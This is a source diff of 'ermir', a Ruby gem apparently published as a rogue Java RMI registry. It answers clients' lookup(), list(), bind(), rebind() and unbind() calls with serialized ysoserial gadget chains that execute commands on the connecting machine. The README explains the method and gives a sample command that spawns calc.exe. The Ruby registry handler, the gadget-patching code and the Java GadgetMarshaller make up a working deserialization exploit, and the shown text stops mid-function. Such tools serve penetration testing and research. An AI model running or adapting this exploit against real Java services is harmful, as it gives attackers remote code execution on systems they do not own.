ermir 0.1.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 70a60a0d94448d7ca57eee0ea42b0aca52875c9f925c4ff652ee25842562af79
+  data.tar.gz: 41209eb545542e9caebeb7e06d30a98f11dea69898c37ee6738bdd176306fab7
+SHA512:
+  metadata.gz: c53e30e5aeb8a4d4f0772ac418bf874aa942afedb0287eab07fc301024e70926872bcd1bef69f0ca81a7c15b3ea62c7137590ecb04394ef5d04588ce90740837
+  data.tar.gz: 666af55e2a7d2ae0c4fc0152c68a155549883c234da18f3745e2a3677c2e21d6a1abd79c73a93667680164bb04c3ac6504246a826e27a680c06978f670b33201

data/.rspec

@@ -0,0 +1,3 @@
+--format documentation
+--color
+--require spec_helper

data/CODE_OF_CONDUCT.md

@@ -0,0 +1,84 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
+
+We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community.
+
+## Our Standards
+
+Examples of behavior that contributes to a positive environment for our community include:
+
+* Demonstrating empathy and kindness toward other people
+* Being respectful of differing opinions, viewpoints, and experiences
+* Giving and gracefully accepting constructive feedback
+* Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience
+* Focusing on what is best not just for us as individuals, but for the overall community
+
+Examples of unacceptable behavior include:
+
+* The use of sexualized language or imagery, and sexual attention or
+  advances of any kind
+* Trolling, insulting or derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or email
+  address, without their explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+  professional setting
+
+## Enforcement Responsibilities
+
+Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful.
+
+Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
+
+## Scope
+
+This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at 67718634+hakivvi@users.noreply.github.com. All complaints will be reviewed and investigated promptly and fairly.
+
+All community leaders are obligated to respect the privacy and security of the reporter of any incident.
+
+## Enforcement Guidelines
+
+Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
+
+### 1. Correction
+
+**Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community.
+
+**Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
+
+### 2. Warning
+
+**Community Impact**: A violation through a single incident or series of actions.
+
+**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban.
+
+### 3. Temporary Ban
+
+**Community Impact**: A serious violation of community standards, including sustained inappropriate behavior.
+
+**Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban.
+
+### 4. Permanent Ban
+
+**Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior,  harassment of an individual, or aggression toward or disparagement of classes of individuals.
+
+**Consequence**: A permanent ban from any sort of public interaction within the community.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0,
+available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
+
+Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity).
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see the FAQ at
+https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations.

data/Gemfile

@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+source "https://rubygems.org"
+
+# Specify your gem's dependencies in ermir.gemspec
+gemspec
+
+gem "rake", "~> 13.0"
+
+gem "rspec", "~> 3.0"

data/Gemfile.lock

@@ -0,0 +1,38 @@
+PATH
+  remote: .
+  specs:
+    ermir (0.1.0)
+      colorize (~> 0.8.1)
+      slop (~> 4.9.2)
+
+GEM
+  remote: https://rubygems.org/
+  specs:
+    colorize (0.8.1)
+    diff-lcs (1.5.0)
+    rake (13.0.6)
+    rspec (3.11.0)
+      rspec-core (~> 3.11.0)
+      rspec-expectations (~> 3.11.0)
+      rspec-mocks (~> 3.11.0)
+    rspec-core (3.11.0)
+      rspec-support (~> 3.11.0)
+    rspec-expectations (3.11.0)
+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.11.0)
+    rspec-mocks (3.11.1)
+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.11.0)
+    rspec-support (3.11.0)
+    slop (4.9.2)
+
+PLATFORMS
+  x64-mingw32
+
+DEPENDENCIES
+  ermir!
+  rake (~> 13.0)
+  rspec (~> 3.0)
+
+BUNDLED WITH
+   2.3.15

data/LICENSE.txt

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2022 hakivvi
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

data/README.md

@@ -0,0 +1,70 @@
+# Ermir
+
+Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it (`list()`/`lookup()`/`bind()`/`rebind()`/`unbind()`).
+
+# Requirements
+
+- Ruby v3 or newer.
+
+## Installation
+
+Install Ermir from rubygems.org:
+
+    $ gem install ermir
+
+or clone the repo and build the gem:
+
+    $ git clone https://github.com/hakivvi/ermir.git
+    $ rake install
+
+## Usage
+
+Ermir is a cli gem, it comes with 2 cli files `ermir` and `gadgetmarshal`, `ermir` is the actual gem and the latter is just a pretty interface to [GadgetMarshaller.java](https://github.com/hakivvi/ermir/blob/main/helpers/gadgetmarshaller/GadgetMarshaller.java) file which rewrites the gadgets of [Ysoserial](https://github.com/frohoff/ysoserial) to match `MarshalInputStream` requirements, the output should be then piped into `ermir` or a file, in case of custom gadgets use `MarshalOutputStream` instead of `ObjectOutputStream` to write your serialized object to the output stream.
+
+`ermir` usage:
+```text
+Ermir by @hakivvi * https://github.com/hakivvi/ermir.
+Info:
+    Ermir is a Rogue/Evil RMI Registry which exploits unsecure Java deserialization on any Java code calling standard RMI methods on it.
+Usage: ermir [options]
+    -l, --listen   bind the RMI Registry to this ip and port (default: 0.0.0.0:1099).
+    -f, --file     path to file containing the gadget to be deserialized.
+    -p, --pipe     read the serialized gadget from the standard input stream.
+    -v, --version  print Ermir version.
+    -h, --help     print options help.
+Example:
+    $ gadgetmarshal /path/to/ysoserial.jar Groovy1 calc.exe | ermir --listen 127.0.0.1:1099 --pipe
+```
+`gadgetmarshal` usage:
+```text
+Usage: gadgetmarshal /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file
+```
+
+## How does it work?
+`java.rmi.registry.Registry` offers 5 methods: `list()`, `lookup()`, `bind()`, `rebind()`, `unbind()`:
+- `public Remote lookup(String name)`: lookup() searches for a bound object in the registry by its name, the registry returns a `Remote` object which references the remote object that was looked up, the returned object is read using [`MarshalInputStream.readObject()`](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java#l127) which is just another layer on top of `ObjectInputStream`, basically it excpects after each class/proxy descriptor (`TC_CLASSDESC`/`TC_PROXYCLASSDESC`) an URL that will be used to load this class or proxy class. this is the same wild bug that was fixed in [jdk7u21](https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html). (Ermir does not specify this URL as only old Java version are vulnerable, instead it just write [null](https://github.com/hakivvi/ermir/blob/240880237eb3a565daf1f5d79be19ac1d21cb4c8/helpers/gadgetmarshaller/GadgetMarshaller.java#L54)). as [Ysoserial](https://github.com/frohoff/ysoserial) gadgets are being serialized using `ObjectOutputStream`, Ermir uses `gadgetmarshal` -a wrapper around [GadgetMarshaller.java](https://github.com/hakivvi/ermir/blob/main/helpers/gadgetmarshaller/GadgetMarshaller.java)- to serialize the specified gagdet to match `MarshalInputStream` requirements.
+![image](https://user-images.githubusercontent.com/67718634/173961275-4702c692-412c-4fe1-b593-ab2a26b9bd07.png)
+
+- `public String[] list()`: list() asks the registry for all the bound objects names, while `String` type cannot be subsitued with a malicious gadget as it is not like any ordinary object and it is not read using `readObject()` but rather `readUTF()`, however as `list()` returns `String[]` which is an actual object and it is read using [`readObject()`](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java#l95), Ermir sends the gadget instead of this `String[]` type.
+![image](https://user-images.githubusercontent.com/67718634/173961470-9b0092e4-afbe-4710-8a68-60851e59bb54.png)
+
+- `public void bind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)`: bind() binds an object to a name on the registry, in bind() case the return type is `void` and there is nothing being returned, however if the registry specifies in the RMI return data packet that this return is an execptional return, the client/server client will call [`readObject()`](https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/tip/src/share/classes/sun/rmi/transport/StreamRemoteCall.java#l270) despite the return type is `void`, this is how the regitry sends exceptions to its client (usually `java.lang.ClassNotFoundException`), once again Ermir will deliver the serialized gadget instead of a legitimate Exception object.
+![image](https://user-images.githubusercontent.com/67718634/173962145-333228cc-82a1-46d6-aaa6-8cb4af8e178e.png)
+
+- `public void rebind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)`: rebind() replaces the binding of the passed name with the supplied remote reference, also returns `void`, Ermir returns an exception just like bind().
+- `public void unbind(java.lang.String $param_String_1)`: unbind() unbinds a remote object by name in the RMI registry, this one also returns `void`.
+
+## PoC
+![ermir](https://user-images.githubusercontent.com/67718634/173956672-17e73fb9-87af-4ef1-97ef-5f22377e2034.gif)
+
+## Contributing
+
+Bug reports and pull requests are welcome on GitHub at https://github.com/hakivvi/ermir. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [code of conduct](https://github.com/hakivvi/ermir/blob/main/CODE_OF_CONDUCT.md).
+
+## License
+
+The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
+
+## Code of Conduct
+
+Everyone interacting in the Ermir project's codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/hakivvi/ermir/blob/main/CODE_OF_CONDUCT.md).

data/Rakefile

@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+require "bundler/gem_tasks"
+require "rspec/core/rake_task"
+
+RSpec::Core::RakeTask.new(:spec)
+
+task default: :spec

data/bin/ermir

@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+require 'ermir'
+
+Ermir.run

data/bin/gadgetmarshal

@@ -0,0 +1,20 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: tru
+require 'open3'
+require 'pathname'
+
+GM_DIR = "#{__dir__}/../helpers/gadgetmarshaller"
+
+if ARGV.size < 3
+  abort "Usage: gadgetmarshal /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file"
+end
+
+ARGV[0] = Pathname.new(ARGV[0]).realpath.to_s
+
+Dir.chdir(GM_DIR) do
+  Open3.capture3("javac GadgetMarshaller.java") unless %w[GadgetMarshaller.class GadgetMarshaller$MarshalOutputStream.class].all?(File.method(:exist?))
+  out, err, _ = Open3.capture3("java", "GadgetMarshaller", *ARGV[0..3], :binmode => true)
+  # $stderr.write err
+  $stdout.binmode
+  $stdout.write out
+end

data/ermir.gemspec

@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+require_relative "lib/ermir/version"
+
+Gem::Specification.new do |spec|
+  spec.name = "ermir"
+  spec.version = Ermir::VERSION
+  spec.authors = "hakivvi"
+  spec.email = "hakivvi@gmail.com"
+
+  spec.summary = "Ermir is an Evil RMI Registry."
+  spec.description = "Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it (list()/lookup()/bind()/rebind()/unbind())."
+  spec.homepage = "https://github.com/hakivvi/ermir"
+  spec.license = "MIT"
+  spec.required_ruby_version = ">= 3.0.3"
+
+  spec.metadata["homepage_uri"] = spec.homepage
+  spec.metadata["source_code_uri"] = spec.homepage
+  spec.metadata["changelog_uri"] = spec.homepage
+
+  # Specify which files should be added to the gem when it is released.
+  # The `git ls-files -z` loads the files in the RubyGem that have been added into git.
+  spec.files = Dir.chdir(__dir__) do
+    `git ls-files -z`.split("\x0").reject do |f|
+      (f == __FILE__) || f.match(%r{\A(?:(?:bin|test|spec|features)/|\.(?:git|travis|circleci)|appveyor)})
+    end
+  end
+  spec.bindir = "bin"
+  spec.executables << spec.name.downcase << "gadgetmarshal"
+  spec.require_paths = ["lib"]
+
+  # Uncomment to register a new dependency of your gem
+  spec.add_dependency 'slop', '~> 4.9.2'
+  spec.add_dependency 'colorize', '~> 0.8.1'
+
+  # For more information and examples about making a new gem, check out our
+  # guide at: https://bundler.io/guides/creating_gem.html
+end

data/helpers/gadgetmarshaller/GadgetMarshaller.java

@@ -0,0 +1,61 @@
+import java.io.*;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class GadgetMarshaller {
+    public static void main(String[] args) throws Exception {
+        final String ysoserial_path;
+        final String gadgetName;
+        final String cmd;
+        final String outFile;
+
+        if (args.length < 3) {
+            System.out.println("Usage: java GadgetMarshaller /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file");
+            return;
+        } else {
+            ysoserial_path = args[0];
+            gadgetName = args[1];
+            cmd = args[2];
+            outFile = args.length >= 4 ? args[3] : null;
+        }
+
+        if (!new File(ysoserial_path).exists()) {
+            System.out.printf("Error: Ysoserial path \"%s\" does not exist.\n", ysoserial_path);
+            return;
+        }
+
+        URLClassLoader ysoserialLoader = new URLClassLoader(new URL[] {new File(ysoserial_path).toURI().toURL()}, GadgetMarshaller.class.getClassLoader());
+
+        Class<?> payloadUtils = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ysoserialLoader);
+        Method getPayloadClassMethod = payloadUtils.getDeclaredMethod("getPayloadClass", String.class);
+        Class<?> objectPayload = (Class<?>) getPayloadClassMethod.invoke(null, gadgetName);
+
+        Class<?> payloadObjectClazz = Class.forName("ysoserial.payloads.ObjectPayload", true, ysoserialLoader);
+        Method getObjectMethod = payloadObjectClazz.getDeclaredMethod("getObject", String.class);
+        Object gadget = getObjectMethod.invoke(objectPayload.getDeclaredConstructor().newInstance(), cmd);
+
+        MarshalOutputStream mos;
+        try {
+            mos = new MarshalOutputStream((outFile == null) ? System.out : new FileOutputStream(outFile));
+            mos.writeObject(gadget);
+            mos.close();
+            mos.flush();
+        } catch (FileNotFoundException e) {
+            System.out.println("Error: output file path was not found.");
+        }
+    }
+    static final class MarshalOutputStream extends ObjectOutputStream {
+        MarshalOutputStream(OutputStream out) throws IOException {
+            super(out);
+        }
+        @Override
+        protected void annotateClass(Class<?> cl) throws IOException {
+            writeObject(null);
+        }
+        @Override
+        protected void annotateProxyClass(Class<?> cl) throws IOException {
+            annotateClass(cl);
+        }
+    }
+}

data/lib/ermir/argv_parser.rb

@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+require_relative 'errors'
+require_relative 'utils'
+require_relative 'version'
+require 'slop'
+require 'slop/option'
+require 'colorize'
+require 'resolv'
+
+module Ermir
+  module ArgvParser
+    class ::FileOption < Slop::Option
+      def call(value)
+        begin
+          obj = File.open(value, 'rb').each_byte.to_a.pack("C*")
+          unless Utils.stream_header_valid?(obj)
+            Utils.error_and_abort!(Errors::FILE_CORRUPTED_ERROR, "--file")
+          end
+          obj
+        rescue Errno::ENOENT, Errno::EACCES => e
+          Utils.error_and_abort!(Errors::FILE_PATH_ERROR, "--file", e.to_s)
+        end
+      end
+    end
+
+    class Slop::BoolOption < Slop::Option
+      alias_method :old_call, :call
+      def call(*args)
+        if @flags == %w[-p --pipe]
+          if !$stdin.tty?
+            obj = $stdin.each_byte.to_a.pack("C*")
+            unless Utils.stream_header_valid?(obj)
+              Utils.error_and_abort!(Errors::STDIN_CORRUPTED_ERROR, "--pipe")
+            end
+            obj
+          else
+            Utils.error_and_abort!(Errors::STDIN_EMPTY_ERROR, "--pipe")
+          end
+        else
+          old_call(*args)
+        end
+      end
+    end
+
+    def self.parse_argv!
+      begin
+        options = Slop.parse do |opts|
+          opts.banner = <<END
+Ermir by @hakivvi * https://github.com/hakivvi/ermir.
+Info:
+#{' '*4}Ermir is a Rogue/Evil RMI Registry which exploits unsecure Java deserialization on any Java code calling standard RMI methods on it.
+Usage: ermir [options]
+END
+          opts.banner.chomp!
+          opts.string "-l", "--listen", "bind the RMI Registry to this ip and port (default: 0.0.0.0:1099).", default: "0.0.0.0:1099"
+          opts.file "-f", "--file", "path to file containing the gadget to be deserialized."
+          opts.boolean "-p", "--pipe", "read the serialized gadget from the standard input stream."
+          opts.on "-v", "--version", "print Ermir version." do
+            puts "Ermir v#{Ermir::VERSION}."
+            exit
+          end
+          opts.boolean '-h', "--help", "print options help."
+        end
+
+        if options[:help] || ARGV.empty?
+          puts "#{options}Example:\n#{' '*4}$ gadgetmarshal /path/to/ysoserial.jar Groovy1 calc.exe | ermir --listen 127.0.0.1:1099 --pipe"
+          exit
+        end
+
+        args = options.to_hash.map{|k,v| k.eql?(:listen) ? [k] << v.rpartition(":").then{|i,_,p| [i, p.to_i]} : [k,v]}.to_h
+
+        if [::Resolv::IPv4::Regex, ::Resolv::IPv6::Regex].none? {args[:listen][0] =~ _1} or !args[:listen][1].between?(1, 0xffff)
+          Utils.error_and_abort!("the provided bind IP address or port is not valid.", "--listen")
+        end
+
+        if args[:file] && args[:pipe]
+          puts "[NOTE] the serialized gadget is provided via both (--file) and (--pipe), prioritizing pipe.".magenta
+        elsif args[:file].nil? && !args[:pipe]
+          Utils.error_and_abort!(Errors::GADGET_NOT_PROVIDED, "options")
+        end
+        [args[:listen].first, args[:listen].last, args[:pipe] || args[:file]]
+      rescue Slop::UnknownOption, Slop::MissingArgument => e
+        Utils.error_and_abort!(e.to_s, "options")
+      end
+    end
+  end
+end

data/lib/ermir/errors.rb

@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+module Ermir
+  module Errors
+    FILE_PATH_ERROR = "the file path specified is not valid."
+    FILE_CORRUPTED_ERROR = "the serialized object in the specified file has a corrupted header."
+    STDIN_EMPTY_ERROR = "pipe mode was selected, but STDIN is found empty."
+    STDIN_CORRUPTED_ERROR = "the piped serialized object has a corrupted header."
+    GADGET_NOT_PROVIDED = "provide at least one source for the serialized gadget (--file) or (--pipe)."
+  end
+end

data/lib/ermir/evil_registry.rb

@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+require_relative 'utils'
+require_relative 'transport_constants'
+require_relative 'gadget_marshaller'
+
+module Ermir
+  include Utils
+  include TransportConstants
+  # include GadgetMarshaller
+  class EvilRegistry
+    def initialize(socket, gadget)
+      @socket, @gadget = [socket, gadget]
+      @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
+      @socket.sync = true
+      @peeraddr = @socket.peeraddr
+      @count = -32_768
+    end
+
+    def handle_connection!
+      unless rmi_header_valid?
+        Utils.print_rmi_transport_msg("Ermir received an invalid RMI protocol header from the remote peer.", @peeraddr, "red")
+        return
+      end
+      Utils.print_rmi_transport_msg("received a valid RMI protocol header.", @peeraddr)
+
+      @socket.putc(TransportConstants::PROTOCOL_ACK)
+      @socket.write([@peeraddr[-1].size].pack("S>"))
+      @socket.write(@peeraddr[-1])
+      @socket.write([@peeraddr[1]].pack("L>"))
+      Utils.print_rmi_transport_msg("sent acknowledgement of the RMI connection to the remote peer.", @peeraddr)
+
+      len = @socket.read(2).unpack("S>")[0]
+      rmi_server_ip = @socket.read(len)
+      rmi_server_port = @socket.read(4).unpack("L>")[0]
+      if rmi_server_port.zero?
+        Utils.print_rmi_transport_msg("the remote peer is an RMI Client.", @peeraddr)
+      else
+        Utils.print_rmi_transport_msg("the remote peer is an RMI Server, listening for remote invocations @ #{rmi_server_ip}:#{rmi_server_port}.", @peeraddr)
+      end
+
+      unless rmi_message_valid?
+        Utils.print_rmi_transport_msg("received an invalid RMI message.", @peeraddr, "red")
+        return
+      end
+      Utils.print_rmi_transport_msg("received a valid RMI message header from remote peer.", @peeraddr)
+      _ = @socket.read(22)
+      op = @socket.read(4).unpack("L>")[0]
+      interface_hash = @socket.read(8).unpack("Q>")[0]
+
+      unless interface_hash.eql?(rmi_server_port.zero? ? TransportConstants::INTERFACE_STUB_HASH : TransportConstants::INTERFACE_SKEL_HASH)
+        Utils.print_rmi_transport_msg("received an incorrect Registry interface hash.", @peeraddr, "red")
+        return
+      end
+
+      ret = self.send("handle_#{TransportConstants::OPS[op]}")
+      if ret.is_a?(String)
+        Utils.print_rmi_transport_msg("error: #{ret}.", @peeraddr, "red")
+      end
+    end
+
+    def close_connection!
+      @socket.close
+    end
+
+    private
+    def rmi_header_valid?
+      @socket.read(4).unpack("L>")[0].eql?(TransportConstants::MAGIC) \
+        && @socket.read(2).unpack("S>")[0].eql?(TransportConstants::VERSION) \
+        && @socket.getbyte.eql?(TransportConstants::STREAM_PROTOCOL)
+    end
+
+    def rmi_message_valid?
+      @socket.getbyte.eql?(TransportConstants::CALL) \
+          && Utils.stream_header_valid?(@socket.read(4)) \
+          && @socket.getbyte.eql?(TransportConstants::TC_BLOCKDATA) \
+          && @socket.getbyte.eql?(0x22)
+    end
+
+    def handle_lookup
+      unless @socket.getbyte.eql?(TransportConstants::TC_STRING)
+        return "received a corrupted RMI message"
+      end
+      len = @socket.read(2).unpack("S>")[0]
+      lookup_key = @socket.read(len)
+      Utils.print_rmi_transport_msg("Ermir.lookup(#{lookup_key.inspect}) was called by the remote peer.", @peeraddr)
+      write_return_block
+      write_object
+    end
+
+    def handle_list
+      Utils.print_rmi_transport_msg("Ermir.list() was called by the remote peer.", @peeraddr)
+      write_return_block
+      write_object
+    end
+
+    def handle_bind(rebind: false)
+      unless @socket.getbyte.eql?(TransportConstants::TC_STRING)
+        return "received a corrupted RMI message" # first bind() arg is always TC_STRING
+      end
+      bind_key_size = @socket.read(2).unpack("S>")[0]
+      bind_key = @socket.read(bind_key_size)
+      if @socket.getbyte.eql?(TransportConstants::TC_OBJECT)
+        if @socket.getbyte.eql?(TransportConstants::TC_PROXYCLASSDESC)
+          interfaces_count = @socket.read(4).unpack("L>")[0]
+          implemented_interfaces = []
+          interfaces_count.times do
+            interface_name_size = @socket.read(2).unpack("S>")[0]
+            return "the received interface name length exceeds the max length" if interface_name_size > 100
+            implemented_interfaces << @socket.read(interface_name_size)
+          end
+          if implemented_interfaces[0] == "java.rmi.Remote"
+            Utils.print_rmi_transport_msg("Ermir.#{rebind && 're'}bind(#{bind_key.inspect}, new <class (?) implements #{implemented_interfaces[1]}>()) was called by the remote peer.", @peeraddr)
+          else
+            Utils.print_rmi_transport_msg("Ermir.#{rebind && 're'}bind(#{bind_key.inspect}, <java.lang.reflect.Proxy handling <#{implemented_interfaces*', '}> interfaces>) was called by the remote peer.", @peeraddr)
+          end
+        else
+          return "received a corrupted RMI message body"
+        end
+      end
+      write_return_block normal_return: false
+      write_object
+    end
+
+    def handle_rebind
+      handle_bind(rebind: true)
+    end
+
+    def handle_unbind
+      unless @socket.getbyte.eql?(TransportConstants::TC_STRING)
+        return "received a corrupted RMI message"
+      end
+      len = @socket.read(2).unpack("S>")[0]
+      unbind_key = @socket.read(len)
+      Utils.print_rmi_transport_msg("Ermir.unbind(#{unbind_key.inspect}) was called by the remote peer.", @peeraddr)
+      write_return_block(normal_return: false)
+      write_object
+    end
+
+    def write_return_block(normal_return: true)
+      block_size = 0xf
+      @socket.putc(TransportConstants::RETURN)
+      @socket.write([TransportConstants::OBJECT_STREAM_MAGIC].pack("L>"))
+      @socket.putc(TransportConstants::TC_BLOCKDATA)
+      @socket.putc(block_size)
+      @socket.putc(normal_return ? TransportConstants::NORMAL_RETURN : TransportConstants::EXCEPTIONAL_RETURN)
+      write_uid
+    end
+
+    def write_uid
+      @socket.write([Time.now.to_i].pack("L>"))
+      @socket.write([Time.now.to_i].pack("Q>"))
+      @count = (@count == 32_767) ? -32_768 : @count.next
+      @socket.write([@count].pack("S>"))
+    end
+
+    def write_object
+      # patch_gadget!
+      object = @gadget[4..]
+      @socket.write(object)
+      @socket.flush
+      Utils.print_rmi_transport_msg("sent the gadget to the remote peer.", @peeraddr)
+    end
+  end
+end

data/lib/ermir/gadget_marshaller.rb

@@ -0,0 +1,114 @@
+require_relative 'transport_constants'
+
+module Ermir
+  module GadgetMarshaller
+    # this is currently working for most of Ysoserial gadgets but it is not 100% reliable
+    # better use gadgetmarshal / GadgetMarshaller.java packaged with Ermir to rewrite the gadgets
+    # in case of custom gadgets use the internal MarshalOutputStream instead of ObjectOutputStream.
+
+    def patch_gadget!
+      @gadget_chunked = []
+      @gadget_bytes = @gadget.bytes
+      open = false
+
+      @gadget_bytes.each_with_index do |byte, idx|
+        if (byte == TransportConstants::TC_CLASSDESC || byte==TransportConstants::TC_PROXYCLASSDESC) && !open
+          open = true
+          @gadget_chunked << []
+        end
+        if byte == TransportConstants::TC_ENDBLOCKDATA && open
+          if (@gadget_bytes[idx...idx+2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL]) || @gadget_bytes[idx+1].between?(0x70, 0x7D)
+            open = false
+          end
+        end
+        if @gadget_chunked[-1].is_a?(Array) && open
+          @gadget_chunked[-1] << byte
+        else
+          @gadget_chunked << byte
+        end
+      end
+
+      if @gadget_chunked[-2..-1] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL]
+        @gadget_chunked.insert(-3, TransportConstants::TC_NULL) if @gadget_chunked[-3] != TransportConstants::TC_NULL
+      end
+
+      get_previous_element = -> (i) {@gadget_chunked[i-1].is_a?(Array) ? @gadget_chunked[i-1][-1] : @gadget_chunked[i-1]}
+
+      @gadget_chunked.map!.with_index do |element, i|
+        if element.is_a?(Array)
+          if element[0] == TransportConstants::TC_CLASSDESC
+            if class_desc?(i)
+              patch_chunk(i)
+            else
+              element
+            end
+          elsif element[0] == TransportConstants::TC_PROXYCLASSDESC
+            if proxy_desc?(i)
+              patch_chunk(i)
+            else
+              element
+            end
+          else
+            element
+          end
+        else
+          if element == TransportConstants::TC_ENDBLOCKDATA && get_previous_element.(i) != TransportConstants::TC_NULL
+            if @gadget_chunked[i..].flatten[0..3] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL, TransportConstants::TC_OBJECT, TransportConstants::TC_CLASSDESC] \
+              || get_previous_element.(i) == 0x3B && @gadget_chunked[i..].flatten[0..1] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL] \
+              || get_previous_element.(i) == 0x0 && @gadget_chunked[i..].flatten[0..2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL, 0x0] \
+              || @gadget_chunked[i..].flatten[0..2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_CLASSDESC, 0x0]
+              [TransportConstants::TC_NULL, element]
+            else
+              element
+            end
+          else
+            element
+          end
+        end
+      end.flatten!
+
+      @outfile.write(@gadget_chunked.pack("C*")) if (defined?(@outfile) && @outfile && @outfile.is_a?(File))
+      @gadget = @gadget_chunked.pack("C*")
+    end
+
+    def class_desc?(idx)
+      pos = 0
+      chunk = @gadget_chunked[idx].pack("C*")
+      return false if chunk.size < 5
+      pos += 1
+      class_name_size = chunk[pos...pos+2].unpack("S>")[0]
+      pos += 2
+      return false if pos+class_name_size > chunk.size || class_name_size>100
+      class_name = chunk[pos...pos+class_name_size]
+      pos += class_name_size
+      return false if pos+1+8+2 > chunk.size
+      valid_class_name?(class_name)
+    end
+
+    def proxy_desc?(idx)
+      pos = 0
+      chunk = @gadget_chunked[idx].pack("C*")
+      return false if chunk.size < 5
+      pos += 1
+      interface_count = chunk[pos...pos+4].unpack("L>")[0]
+      return false if interface_count > 10
+      pos += 4
+      interface_count.times do
+        interface_name_size = chunk[pos...pos+2].unpack("S>")[0]
+        return false if pos+interface_name_size>chunk.size
+        pos += 2
+        interface_name = chunk[pos...pos+interface_name_size]
+        valid_class_name?(interface_name)
+      end
+    end
+
+    def valid_class_name?(class_name)
